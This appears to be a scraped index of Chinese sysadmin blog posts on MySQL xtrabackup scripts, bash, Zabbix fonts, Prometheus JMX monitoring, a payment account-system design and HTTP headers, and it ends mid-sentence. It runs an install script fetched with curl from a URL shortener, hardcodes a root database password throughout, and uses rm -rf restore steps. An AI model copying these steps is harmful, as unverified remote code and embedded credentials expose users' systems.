安装 MySQL MySQL-5.7 (yum方式) curl -sSL https://dwz.cn/gfcnHqGS -o install-mysql.sh chmod +x install-mysql.sh ./install-mysql.sh --get-version # 查看存储库中的软件版本 # Example ./install-mysql.sh --active install --data-dir /home/hadoop/mysql --version 5.7.23 --root-pass 123abc@DEF --help # 查看帮助信息 --data-dir # mysql 数据存储目录默认为 /home/hadoop/mysql --version # 指定安装版本 --root-pass # root 密码 --bin-log # 是否启用二进制日志(二进制日志只保留7天) 默认不启用
使用 xtrabackup 备份 MySQL 安装 percona-xtrabackup wget https://www.percona.com/downloads/Percona-XtraBackup-2.4/Percona-XtraBackup-2.4.15/binary/redhat/7/x86_64/percona-xtrabackup-24-2.4.15-1.el7.x86_64.rpm yum localinstall percona-xtrabackup-24-2.4.15-1.el7.x86_64.rpm 创建备份脚本 mkdir /script cat > /script/innobackup.sh <<'!' #!/bin/bash # set -x function usage() { cat < ${full_backup_log} innobackupex \ --defaults-file=/etc/my.cnf \ --user=root \ --password='123abc@DEF' \ --no-timestamp ${full_backup_dir} &>> ${full_backup_log} # 验证备份结果(失败发送邮件) tail -n 1 ${full_backup_log} | grep 'completed OK!' &> /dev/null if [[ $? -eq 0 ]];then touch ${full_backup_dir}/backup_ok echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份成功." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份成功." >> ${full_backup_log} else echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份失败." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份失败." >> ${full_backup_log} if [[ "$mail" == 'true' ]]; then /usr/bin/python /script/send_mail.py $mail_addr $mail_title "$(cat ${full_backup_log})" fi exit 1 fi if [ "$remoute_bak" == "true" ]; then # 打包备份 cd ${data_dir} tar -czf ${full_date}.tar.gz ${full_date} # 发送到远程服务器 rsync -azp ${full_date}.tar.gz ${remoute_server}:${remoute_dir}/${full_date}.tar.gz rm -f ${full_date}.tar.gz fi } function incremental_backup(){ # 增量备份路径 inc_date="inc_$(date '+%Y%m%d')" inc_backup_dir="${data_dir}/${inc_date}" # 增量备份日志 inc_backup_log="${inc_backup_dir}/backup.log" # 如果当前目录存在备份 if [[ -f "${inc_backup_dir}/xtrabackup_logfile" ]]; then temp_dir="$(mktemp --tmpdir=${data_dir} -d ${inc_date}_XXX)" mv ${inc_backup_dir} $temp_dir fi # 创建备份目录 mkdir -p ${inc_backup_dir} # 检查上次备份是否正常 if [[ -f "${incremental_basedir}/backup_ok" ]];then echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 上次备份状态正常." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 上次备份状态正常." >> ${inc_backup_log} else echo "[Warning] $(date '+%Y-%m-%d %H:%M:%S') 上次备份不存在 准备进行全量备份." rm -rf ${inc_backup_dir} full_backup rebackup if [[ $mode == 1 ]]; then echo "[Warning] $(date '+%Y-%m-%d %H:%M:%S') 本次未建增量备份(上周末创建的全量备份不存在 已重新创建全量备份)" elif [[ $mode == 2 ]]; then echo "[Warning] $(date '+%Y-%m-%d %H:%M:%S') 本次创建了全量备份(上次备份失败或不存在)" fi exit 0 fi # 增量备份 echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 开始增量备份." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 开始增量备份." >> ${inc_backup_log} /usr/bin/innobackupex \ --defaults-file=/etc/my.cnf \ --user=root \ --password='123abc@DEF' \ --incremental \ --incremental-basedir=${incremental_basedir} \ --no-timestamp ${inc_backup_dir} &>> ${inc_backup_log} # 验证备份结果(失败发送邮件) tail -n 1 ${inc_backup_log} | grep 'completed OK!' &> /dev/null if [[ $? -eq 0 ]];then touch ${inc_backup_dir}/backup_ok echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份成功." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份成功." >> ${inc_backup_log} else echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份失败." echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份失败." >> ${inc_backup_log} if [[ "$mail" == 'true' ]]; then /usr/bin/python /script/send_mail.py $mail_addr $mail_title "$(cat ${inc_backup_log})" fi exit 1 fi if [ "$remoute_bak" == 'true' ]; then # 打包备份 cd ${data_dir} tar -czf ${inc_date}.tar.gz ${inc_date} # rsync rsync -azp ${inc_date}.tar.gz ${remoute_server}:${remoute_dir}/${inc_date}.tar.gz rm -f ${inc_date}.tar.gz fi } # 清理备份 function clean_backup(){ # 本地保留 1 周 find $data_dir -mtime +7 -type d | xargs rm -rf if [ "$remoute_bak" == "true" ]; then # 远程服务器保留 4 周 ssh -T ${remoute_server} 'find /home/backupmysql -mtime +28 -type f | xargs rm -rf' fi } # 备份模式: 1.上周末全量备份 本周一到周六每天做上周末的增量备份 function mode_1(){ case $week_day in 0) echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份." full_backup sleep 5 echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 清理历史备份." clean_backup ;; [1-6]) echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份." # 获取上周末增量备份目录 get_last_weekend # 每次增量备份基于 上周末全量备份 incremental_basedir=${data_dir}/full_${startday} # 开始增量备份 incremental_backup ;; esac } # 备份模式: 2.上周末全量备份 本周一到周六每天做上一天的增量备份 function mode_2(){ case $week_day in # 如果是周末 0) echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 全量备份." full_backup sleep 3 echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 清理历史备份." clean_backup ;; # 如果是周一 1) echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份." # 获取上周末增量备份目录 get_last_weekend # 本次增量备份基于 上周末全量备份 incremental_basedir=${data_dir}/full_${startday} # 开始增量备份 incremental_backup ;; # 如果是周二,三,四,五,六 [2-6]) echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 增量备份." # 本次增量备份基于 上次增量备份目录 echo "[INFO] $(date '+%Y-%m-%d %H:%M:%S') 本次增量备份基于上次备份 inc_$(date -d "-1 day" '+%Y%m%d')." incremental_basedir=${data_dir}/inc_$(date -d "-1 day" '+%Y%m%d') # 开始增量备份 incremental_backup ;; esac } if [[ "$mode" == '1' ]]; then get_cfg mode_1 elif [[ "$mode" == '2' ]]; then get_cfg mode_2 fi ! chmod +x /script/innobackup.sh 使用方法 1.修改脚本中备份密码 --password='123abc @DEF ' 将123abc@DEF改为你的数据库密码 2./script/innobackup.sh --help # 查看脚本帮助 邮件告警脚本 cat > /script/send_mail.py <<'!' #!/usr/bin/env python # _*_ coding:utf-8 _*_ # Usage: ./send.py example@qq.com title content import smtplib from email.mime.text import MIMEText import sys # configure your own parameters here #下面邮件地址的smtp地址 mail_host = 'smtp.qq.com' #用来发邮件的邮箱,在发件人抬头显示(不然你的邮件会被当成是垃圾邮件) mail_user = 'examp@qq.com' # 客户端授权码 mail_auth = '********yIskw5WOkJ*******' # 发送方显示的名称 send_name = 'examp@qq.com' # 接收方显示的名称 recv_name = 'examp@qq.com' def excute(to, title, content): msg = MIMEText(content, 'plain', 'utf-8') msg['From'] = send_name msg['To'] = recv_name msg['Subject'] = title server = smtplib.SMTP(mail_host, 25) server.login(mail_user,mail_auth) server.sendmail(mail_user,to,msg.as_string()) server.quit() if __name__ == '__main__': excute(sys.argv[1], sys.argv[2], sys.argv[3]) ! chmod +x /script/send_mail.py 使用方法: 将 send_mail.py 与 innobackup.sh 放到同级目录 如果需要邮件告警 请设置脚本innobackup.sh 函数 get_cfg 中 mail= 设置为 mail=true 修改 get_cfg 中 mail 收件人及 邮件标题配置 修改 send_mail.py 中的账号信息 本地测试发送邮件 ./send.py 你的邮箱 标题 内容
测试备份还原
--mode 1 测试
周一到周六每天做上周末的增量备份 清空数据库 初始化数据库 设置密码(数据库初始化脚本只有使用本章mysql安装脚本才有) systemctl stop mysqld rm -rf /home/hadoop/mysql/* systemctl start mysqld new_pass=123abc@DEF old_pass=$(grep -rn 'temporary password' /var/log/mysqld.log | tail -n1 | awk '{print $NF}') /root/mysql_secure_installation.exp $old_pass $new_pass 创建测试数据库
修改时间2019-09-1 - 2019-09-30 每次修一次成创建一个数据库 a20190901 - a20190930 并备份到远程 测试之前两端先安装 rsync yum install -y rsync 备份服务器创建 (192.168.2.72) /home/backupmysql rm -rf /home/backup for i in {1..30};do date -s "2019-09-$i 1:00" mysql -uroot -p123abc@DEF -e "create database a$(date '+%Y%m%d');" ssh -T root@192.168.2.72 "date -s '2019-09-$i 1:00'" /script/innobackup.sh --mode 1 --remoute-bak true --remoute-server root@192.168.2.72 --remoute-dir /home/backupmysql done
执行完成查看数据库数据, 查看远程服务器备份目录(192.168.2.72) /home/backupmysql 查看本地 checkpoints more -u /home/backup/full_20190922/xtrabackup_checkpoints /home/backup/inc_20190923/xtrabackup_checkpoints /home/backup/inc_20190924/xtrabackup_checkpoints 还原 20190927 备份
还原之前请做好备份文件的 二次备份 --apply-log --redo-only 操作后备份文件不可回滚需要源备份 # 查看数据库 mysql -uroot -p123abc@DEF -e 'show databases;' # 停止数据库 删除数据 systemctl stop mysqld rm -rf /home/hadoop/mysql # 还原数据库 cp -a /home/backup /tmp/backup innobackupex --apply-log --redo-only /tmp/backup/full_20190922 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190927 innobackupex --copy-back /tmp/backup/full_20190922 chown -R mysql:mysql /home/hadoop/mysql systemctl start mysqld mysql -uroot -p123abc@DEF -e 'show databases;'
--mode 2 测试 周一做上周末增量备份 周二做周一增量备份 周三做周二增量备份 依次类推 清空数据库 初始化数据库 设置密码 systemctl stop mysqld rm -rf /home/hadoop/mysql/* systemctl start mysqld new_pass=123abc@DEF old_pass=$(grep -rn 'temporary password' /var/log/mysqld.log | tail -n1 | awk '{print $NF}') /root/mysql_secure_installation.exp $old_pass $new_pass 创建测试数据库(修改时间2019-09-1 - 2019-09-1 每次修改完成创建一个数据库 a20190901 - 16 并备份) rm -rf /home/backup for i in {1..30};do date -s "2019-09-$i 1:00" mysql -uroot -p123abc@DEF -e "create database a$(date '+%Y%m%d');" ssh -T root@192.168.2.72 "date -s '2019-09-$i 1:00'" /script/innobackup.sh --mode 2 --remoute-bak true --remoute-server root@192.168.2.72 --remoute-dir /home/backupmysql done 查看 checkpoints more -u /home/backup/full_20190922/xtrabackup_checkpoints /home/backup/inc_20190923/xtrabackup_checkpoints /home/backup/inc_20190924/xtrabackup_checkpoints 还原 20190927 备份
还原之前请做好备份文件的 二次备份 --apply-log --redo-only 操作后备份文件不可回滚需要源备份 systemctl stop mysqld rm -rf /home/hadoop/mysql rm -rf /tmp/backup cp -a /home/backup /tmp/backup innobackupex --apply-log --redo-only /tmp/backup/full_20190922 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190923 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190924 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190925 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190926 innobackupex --apply-log --redo-only /tmp/backup/full_20190922 --incremental-dir=/tmp/backup/inc_20190927 innobackupex --copy-back /tmp/backup/full_20190922 chown -R mysql:mysql /home/hadoop/mysql systemctl start mysqld mysql -uroot -p123abc@DEF -e 'show databases;'
创建计划任务 crontab -l > /tmp/crontab.tmp echo "10 1 * * * /script/innobackup.sh --mode 1 --mail true --remoute-bak true --remoute-server root@192.168.2.72 --remoute-dir /home/backupmysql" >> /tmp/crontab.tmp cat /tmp/crontab.tmp | uniq > /tmp/crontab crontab /tmp/crontab rm -f /tmp/crontab.tmp /tmp/crontab
code
系统运维
2019-10-01 05:47:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
shell是离用户最近的一个程序,也是用户直接链入计算机的外壳,shell分为GUI、CLI两种,CUI里面有gnome、KDE、Xfce,CLI里面有sh、bash、csh、ksh、zsh、tcsh。这次我们讲bash,讲之前得先弄清楚进程与程序的关系,在每个进程看来,当前主机上只存在内核和当前进程,进程是程序的副本,进程是程序执行实例。当执行bash进程,在bash里在执行一个bash进程,子bash所拥有的特性,父bash可能不可拥有,反过来也是。

bash特性 命令历史、命令补全 管道、重定向 命令别名 命令行编辑 命令行展开 文件名通配 变量 编程
命令行编辑( 光标跳转) Ctrl+a:跳到命令行首 Ctrl+e:跳到命令行尾 Crtl+d: Ctrl+u: 删除光标至命令行首的内容 Ctrl+k: 删除光标至命令行尾的内容 Ctrl+l: 清屏 ctrl+左右箭头:按单词转跳
命令历史 $ history -c:清空命令历史 -d OFFSET [n]: 删除指定位置的命令 -w:保存命令历史至历史文件中
命令默认显示1000行,可以配置环境变量,改变命令缓存的条数。可以使用echo `$HISTSIZE`查看,要修改变量可以直接修改。
命令历史的使用技巧 !n:执行命令历史中的第n条命令 !-n:执行命令历史中的倒数第n条命令 !!: 执行上一条命令 !string:执行命令历史中最近一个以指定字符串开头的命令 !$:引用前一个命令的最后一个参数 命令补全/路径补全:Tab健 命令补全:搜索PATH环境变量所指定的每个路径下以我们给出的字符串开头的可执行文件,如果多于一个,两次tab,可以给出列 表;否则将直接补全; 路径补全:搜索我们给出的起始路径下的每个文件名,并试图补全;
命令别名 alias CMDALIAS='COMMAND [options] [arguments]'
$ alias cls
$ \clear
上面的命令可以解除csl=clear,在内置命令前加\,也可以执行同样的功能
命令替换 $ touch ./flie-$(date +%F-%H+%M-%S).txt $ touch ./flie-`date +%F-%H+%M-%S`.txt

bash支持的引号 ``: 命令替换 "": 弱引用,可以实现变量替换 '': 强引用,不完成变量替换

文件名通配 *: 任意长度的任意字符 ?:任意单个字符 []:匹配指定范围内的任意单个字符 [a-z], [A-Z], [0-9], [a-zA-Z], [0-9a-zA-Z] [:space:]:空白字符 [:punct:]:标点符号 [:lower:]:小写字母 [:upper:]: 大写字母 [:alpha:]: 大小写字母 [:digit:]: 数字 [:alnum:]: 数字和大小写字母 [^]: 匹配指定范围之外的任意单个字符
系统运维
2019-10-01 00:43:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
这台超算配备了1060台树莓派主机,不过用的不是最新第四代,而是第三代的3B+,配置为博通BCM2837处理器(四核A53 1.4GHz)、VideoCore IV GPU、1GB内存、千兆以太网、802.11ac、四个USB 2.0、microSD。
这些树莓派分为21个节点,每个节点都是2U规格,内部各有50台树莓派,并使用了3D打印的特殊支架,只用一天功夫就组装完毕。
不同节点之间通过Ubiquiti UniFi 端口交换机连接,上行链接速度均为SFP+ 10GbE,而供电不是高发热、高损耗的PoE,用的是一系列USB。
中央部位还有个存储服务器,用于网络启动所有树莓派。
至于用途,就看大家如何发挥了,甲骨文现场展示了3x3虚拟化场景。
甲骨文没有披露这台树莓派超算的实际性能,很可能也不会商用,更多的只是一种想法和可能性的探索。

更多linux咨询请查看www.linuxprobe.com
系统运维
2019-09-29 19:51:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
系统:debian10(无界面)
应用:zabbix

一、服务器端:
1.安装语言包 sudo dpkg-reconfigure locales #重新配制系统已经安装的语言包
2.编辑zabbix配置文件 sudo vim /usr/share/zabbix/include/locales.inc.php #编辑源码文件
找到函数"getLocales()",
'en_US' => array('name' => _('English (en_US)'), 'display' => true),
可以把你不需要的语言设置为false,有些版本默认不支持中文,可以找到'zh_CN'这一行把flase改为true
'zh_CN' => array('name' => _('English (zh_CN)'), 'display' => true),
最后保存文件;
3.配置系统config sudo dpkg-reconfigure fontconfig-config
纯粹借用系统的配置再次读取字体,这个是配置位图字体,按照要求否定,不用配置,因为只是借用初始化而已
如果没效果,可以先执行下面二的操作再重复这个配置
二、Web端乱码的配置
1.在windows系统C:\Windows\Fonts 选择其中任意一种中文字体例如 “楷体” ( SIMKAII.TTF ),拷贝到服务器端
2.把字体拷贝到zabbix应用目录/usr/share/zabbix/fonts下
3.修改zabbix应用字体配置/usr/share/zabbix/include/define.inc.php
define('ZBX_GRAPH_FONT_NAME', 'graphfont');
define('ZBX_GRAPH_FONT_NAME', 'graphfont');
修改为
define('ZBX_FONT_NAME', 'simkai');
define('ZBX_GRAPH_FONT_NAME', 'simkai');
其中simkai为字库名字,不用写ttf后缀。
保存
4.所有应用服务执行重启操作 sudo systemctl restart zabbix_agent.service sudo systemctl reatart zabbix_server.service sudo systemctl restart nginx #因为我是用nginx做前端的,根据需要更改

Reference:
https://blog.csdn.net/github_38034959/article/details/77095060
https://wiki.debian.org/Fonts
系统运维
2019-09-29 18:41:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
简述
在k8s上配置 Prometheus JMXExporter 收集JVM metric
假设前置条件
已经在k8s集群中运行Prometheus,并且配置好了 k8s ServiceAccount 。即Prometheus能正确访问k8s API。
示例中使用的Prometheus配置 链接
文中使用到的文件: https://github.com/guyongquan/k8s_prometheus_jmxexporter
实现步骤 配置并运行JMX Explorter 配置Prometheus自动发现JMX Exporter
配置并运行JMX Explorter
参考文档 链接
此处以tomcat为例进行说明
为了方便,所需的jar和配置文件直接通过ConfigMap挂载(生产环境中不建议如此,而是应该直接打到镜像中):
下载所需文件: jmx_prometheus_javaagent-0.12.0.jar , tomcat.yml
创建ConfigMap:
kubectl.exe -n iptl-kc create cm jmxexporterfiles --from-file=jmxexporter.jar=jmx_prometheus_javaagent-0.12.0.jar --from-file=tomcat.yml
部署tomcat的k8s配置文件: apiVersion: apps/v1 kind: Deployment metadata: labels: app: tomcat name: tomcat spec: replicas: 1 selector: matchLabels: app: tomcat template: metadata: annotations: learn.guyongquan.live/prometheusjmxexporterport: "18080" labels: app: tomcat spec: containers: - env: - name: CATALINA_OPTS value: -javaagent:/data/jmxexporter.jar=18080:/data/tomcat.yml image: tomcat name: tomcat imagePullPolicy: Always resources: requests: cpu: 200m memory: 200Mi ports: - containerPort: 8080 livenessProbe: tcpSocket: port: 8080 volumeMounts: - mountPath: /data/jmxexporter.jar name: jmxjar subPath: jmxexporter.jar - mountPath: /data/tomcat.yml name: jmxconfig subPath: tomcat.yml restartPolicy: Always volumes: - name: jmxjar configMap: name: jmxexporterfiles items: - key: jmxexporter.jar path: jmxexporter.jar - name: jmxconfig configMap: name: jmxexporterfiles items: - key: tomcat.yml path: tomcat.yml
上述配置中需要特别说明的地方:annotation learn.guyongquan.live/prometheusjmxexporterport: "18080",后续配置Prometheus服务发现时依赖于此名称,值18080则是JMX Exporter的端口,即env中的CATALINA_OPTS=-javaagent:/data/jmxexporter.jar= 18080 :/data/tomcat.yml
tomcat pod running之后执行:
kubectl -n iptl-kc port-forward deploy/tomcat 18080:18080
然后可以通过访问http://localhost:18080/可以看到JMX Exporter暴露的JVM metric:
配置Prometheus 服务发现
主要参考文档 https://prometheus.io/docs/prometheus/latest/configuration/configuration/#pod
官方示例: https://github.com/prometheus/prometheus/blob/master/documentation/examples/prometheus-kubernetes.yml
job配置如下: global: scrape_interval: 30s scrape_timeout: 10s evaluation_interval: 30s scrape_configs: - job_name: 'jmxexporter' kubernetes_sd_configs: - role: pod relabel_configs: - source_labels: [__meta_kubernetes_pod_annotationpresent_learn_guyongquan_live_prometheusjmxexporterport] action: keep regex: true - source_labels: [__meta_kubernetes_pod_ip,__meta_kubernetes_pod_annotation_learn_guyongquan_live_prometheusjmxexporterport] action: replace regex: (.*);(\d+) replacement: $1:$2 target_label: __address__ - source_labels: [__meta_kubernetes_pod_name] target_label: instance scheme: http tls_config: ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
上述配置中需要特别说明的部分: - source_labels: [__meta_kubernetes_pod_annotationpresent_learn_guyongquan_live_prometheusjmxexporterport] action: keep regex: true
表示只有当pod存在annotation learn.guyongquan.live/prometheusjmxexporterport才会被监控 - source_labels: [__meta_kubernetes_pod_ip,__meta_kubernetes_pod_annotation_learn_guyongquan_live_prometheusjmxexporterport] action: replace regex: (.*);(\d+) replacement: $1:$2 target_label: __address__
对__address__进行了设置。
修改Prometheus配置生效(重启或者刷新)后执行命令:
kubectl -n iptl-kc port-forward deploy/prometheus 9090:webui
然后可以通过 http://localhost:9090/service-discovery#job-jmxexporter 看到配置后的效果:
如图所示tomcat pod已被发现。
targets页面
系统运维
2019-09-30 16:15:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
导读
互联网金融系统的核心是支付结算,而支付结算的基础又是账户系统。互金账户系统的特点是并发量大、响应快、交易金额大,热点账户问题突出。一个合格的账户系统既要解决上述问题,又必须绝对保证资金安全。作为宜信这家互联网金融公司的支付结算中心,其账户系统也必须具备上述特征。
账户体系
账户结构
宜信支付结算账户体系是客户、用户、账户三层结构,证件号和证件类型唯一确定一个客户,客户号和机构号确定一个用户,一个用户下可开多个不同类型的账户。如图:
账户属性
账户系统的基础是账户,所有的操作都围绕着账户进行,账户包含以下一些属性:
会计科目:每个账户金额的变动要体现一些会计的属性,以便会计核算。
账户类别:分为个人账户、企业账户、平台类账户。
账户明细:账户的明细是反映账户余额变动的每笔详情,采用复式记账法,包含本对方账号、账户等信息、摘要、借方的发生额及余额等信息。
账户余额:记录账户的实时余额。
会计科目
账户下挂在最底层的会计科目下,会计科目决定了账户的含义及余额变动方向。会计科目的一些属性如下:
科目类别:资产类、负债类、所有者权益、成本类、损益类等。
科目级别:会计科目的级别,一级科目、二级科目、三级科目等。下级科目归属上级科目。
余额方向:标示余额是在借方还是贷方。
科目的期末余额:每日日切后会汇总底层科目所有下挂账户在上一会计日的余额总和,上级科目汇总下级科目的余额总和。
科目树
宜信支付结算账户系统采用科目树的概念,每个机构都会绑定一个科目树。科目树的根节点是一级科目,底层的科目下挂账户,结构如下:
账户系统架构
宜信支付结算账户系统采用公司自研的分布式微服务框架,对外提供http json接口,内部各服务间采用redis实现的消息队列通讯。
账户系统功能架构
宜信支付结算账户系统分为接入模块、记账子系统、开户子系统、异步记账模块、查询子系统、定时任务子系统、日终子系统、异步日志模块,下图是账务系统功能模块图:
接入模块:提供报文解析、验签、参数校验、权限认证等公共服务,是账户系统的统一入口。
异步日志模块:异步记录业务系统请求报文。
记账子系统:账户系统的核心模块,处理业务系统的记账请求。
开户子系统:处理业务系统的开户请求。
首次开立账户:为个人或企业开立客户、用户及提前配置的默认开通的账户。
指定开立账户:个人或企业在首次开立账户后,可按科目号指定开立账户。
查询子系统:提供账户、记账的一些查询功能。
异步记账模块:提供异步记录账户流水的功能。
定时任务子系统:处理失败重试、热点账户等的定时任务。
日终子系统:提供日切以及日终跑批的功能。
记账处理
记账处理是账户系统的核心功能,该功能对性能的要求比较高,高并发下热点账户问题比较突出,资金的正确性也必须保证,并且根据业务不同,记账的分录也是五花八门,宜信支付结算账户系统如何应对这些问题,这里重点介绍下:
账户系统记账采用记账服务的概念,每个记账服务就是一个记账分录的模板,业务系统按照这个模板传入记账金额、账户号或者用户号等信息。
账户系统采用redis分布式锁,防止业务系统重复提交请求。设置记账订单防重表,按照请求单号和机构号对记账请求做幂等性校验。
采用复式记账法,按照会计规则按照借贷记录流水,有借必有贷。
记账处理时,更新账户余额后同步返回结果给业务系统,异步的处理记账流水。同时设置补偿机制,定时重试记账流水处理失败的订单,重试三次失败后报警人工介入。
记账规则处理,每个记账服务可以绑定一些记账规则,账户系统根据记账服务遍历其绑定的规则,顺序处理。
热点账户问题
热点账户问题是账户系统的痛点,也困扰了我们很久,这里着重说下。
-- 充值时的记账分录是:
借方:三方支付待清算账户(+)
贷方:个人余额账户(+)
当大量用户充值时,三方支付的待清算账户就是热点账户,频繁的增加余额。
-- 提现时的记账分录是:
借方:个人余额账户(-)
贷方:三方支付资产账户(-)
当大量用户提现时,三方支付的资产账户就是热点账户,频繁的减少余额。
--业务收服务费的记账分录是:
借方:个人账户(-)
贷方:商户服务费账户(+)
当大量向用户收取服务费时,商户服务费账户就是热点账户,会频繁增加余额。
--业务服务费付款的记账分录是:
借方:商户服务费账户(-)
贷方:个人账户(+)
当大量用服务费余额向用户付款时,商户服务费账户就是热点账户,会频繁减少余额。
记账时,所有涉及的账户余额都要做update更新,高并发情况下,当出现上述类型的热点账户时,由于数据库的行级锁,对同一账户的更新余额操作由并行变成串行,单个请求的响应时间变长,从而拖垮整个记账服务。
宜信支付结算账户系统针对上述问题做了如下处理:
我们把热点账户按照金额变动方向分为加频账户(余额增加频繁)、减频账户(余额扣减频繁)、双频账户(余额增加扣减均频繁)。
加频账户处理
准实时更新余额。先将金额变动插入临时表中,由定时任务按照一定频率汇总发生额,并更新账户余额,而后删除临时记录。当加频账户减钱余额不足时,主动去汇总发生额。这里需要考虑主动汇总发生额和定时任务处理的并发情况,我们在该定时任务执行时设置redis锁,防止并发,主动汇总时会去判断这个redis锁是否存在,如存在证明定时任务正在执行,无需主动汇总,可能是真的余额不足。主动汇总同样会设置redis锁,定时任务同样会判断。
减频账户处理
将减频账户拆分多个子账户,减频子账户设置金额报警,如果某个减频子账户余额不足触发报警,会对该子账户做资金归集,将其他子账户余额归集到该子账户(每个子账户设置可归集金额限制)。如在交易过程中发现该子账户余额不足,转向使用其他子账户记账。由于拆分子账户,余额查询时需要汇总各个子账户余额返回;记录主账户流水需要记账后余额,这里需要异步计算汇总。当减频账户加钱时,需要平均分配入账到不通的子账户。
双频账户处理
将双频账户拆分多个子账户。加钱时,准实时更新余额,先将子账户金额变动插入临时表中,由定时任务按一定频率汇总发生额,将汇总的发生额更新进对应的子账户,并删除金额变动记录;减钱按照之前减频账户的逻辑执行。
记账死锁问题
高并发情况下,当多个账户之前互相转账时,可能会出现死锁问题。
例如:A余额账户 —> B余额账户(线程1) 和 B余额账户—>A余额账户(线程2) 两个转账请求并发,账户系统对每个转账请求都会更新A、B余额,这两个更新需要在一个事务里,正常流程线程1先更新A,再更新B,线程2先更新B,再更新A,线程1更新完A后会等待B的锁,不提交事务,线程2更新完B后会等待A的锁,不提交事务,这样两个线程互相等待锁,造成死锁。
宜信支付结算账户系统针对这种情况提出了解决办法,对账户号进行排序后再更新余额,这样每个线程都是先更新A再更新B,解决了死锁问题。
账户系统存储层架构
宜信支付结算账户系统数据库采用Mysql,缓存采用redis。
Mysql数据库采用主从架构,一主二从,主库向从库同步数据。针对一些数据量大的表进行分表,比较有代表性的是账户流水表,既要按账户维度查询,又要按时间维度汇总,所以针对这个特点,冗余了一张表,一张按照账户分表,一张按照日期分表。Redis采取集群架构,集群中每个点主备的形式。
账户系统的网络层架构
账户系统各个服务部署在同一机房,其中记账子系统和异步记账模块部署在4个不同的物理机上,其他子系统和模块部署在2个不同物理机上。最前端采用nginx实现负载均衡。 本文地址: https://www.linuxprobe.com/concurrency-account-system.html
系统运维
2019-09-30 13:22:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
导读
HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。

HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。

HTTP 响应头信息
HTTP请求头提供了关于请求,响应或者其他的发送实体的信息。
在本章节中我们将具体来介绍HTTP响应头信息。 Allow 服务器支持哪些请求方法(如GET、POST等)。 Content-Encoding 文档的编码(Encode)方法。只有在解码之后才可以得到Content-Type头指定的内容类型。利用gzip压缩文档能够显著地减少HTML文档的下载时间。Java的GZIPOutputStream可以很方便地进行gzip压缩,但只有Unix上的Netscape和Windows上的IE 4、IE 5才支持它。因此,Servlet应该通过查看Accept-Encoding头(即request.getHeader("Accept-Encoding"))检查浏览器是否支持gzip,为支持gzip的浏览器返回经gzip压缩的HTML页面,为其他浏览器返回普通页面。 Content-Length 表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。如果你想要利用持久连接的优势,可以把输出文档写入 ByteArrayOutputStream,完成后查看其大小,然后把该值放入Content-Length头,最后通过byteArrayStream.writeTo(response.getOutputStream()发送内容。 Content-Type 表示后面的文档属于什么MIME类型。Servlet默认为text/plain,但通常需要显式地指定为text/html。由于经常要设置Content-Type,因此HttpServletResponse提供了一个专用的方法setContentType。 Date 当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。 Expires 应该在什么时候认为文档已经过期,从而不再缓存它? Last-Modified 文档的最后改动时间。客户可以通过If-Modified-Since请求头提供一个日期,该请求将被视为一个条件GET,只有改动时间迟于指定时间的文档才会返回,否则返回一个304(Not Modified)状态。Last-Modified也可用setDateHeader方法来设置。 Location 表示客户应当到哪里去提取文档。Location通常不是直接设置的,而是通过HttpServletResponse的sendRedirect方法,该方法同时设置状态代码为302。 Refresh 表示浏览器应该在多少时间之后刷新文档,以秒计。除了刷新当前文档之外,你还可以通过setHeader("Refresh", "5; URL=http://host/path")让浏览器读取指定的页面。 注意这种功能通常是通过设置HTML页面HEAD区的<META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://host/path">实现,这是因为,自动刷新或重定向对于那些不能使用CGI或Servlet的HTML编写者十分重要。但是,对于Servlet来说,直接设置Refresh头更加方便。 注意Refresh的意义是"N秒之后刷新本页面或访问指定页面",而不是"每隔N秒刷新本页面或访问指定页面"。因此,连续刷新要求每次都发送一个Refresh头,而发送204状态代码则可以阻止浏览器继续刷新,不管是使用Refresh头还是<META HTTP-EQUIV="Refresh" ...>。 注意Refresh头不属于HTTP 1.1正式规范的一部分,而是一个扩展,但Netscape和IE都支持它。 Server 服务器名字。Servlet一般不设置这个值,而是由Web服务器自己设置。 Set-Cookie 设置和页面关联的Cookie。Servlet不应使用response.setHeader("Set-Cookie", 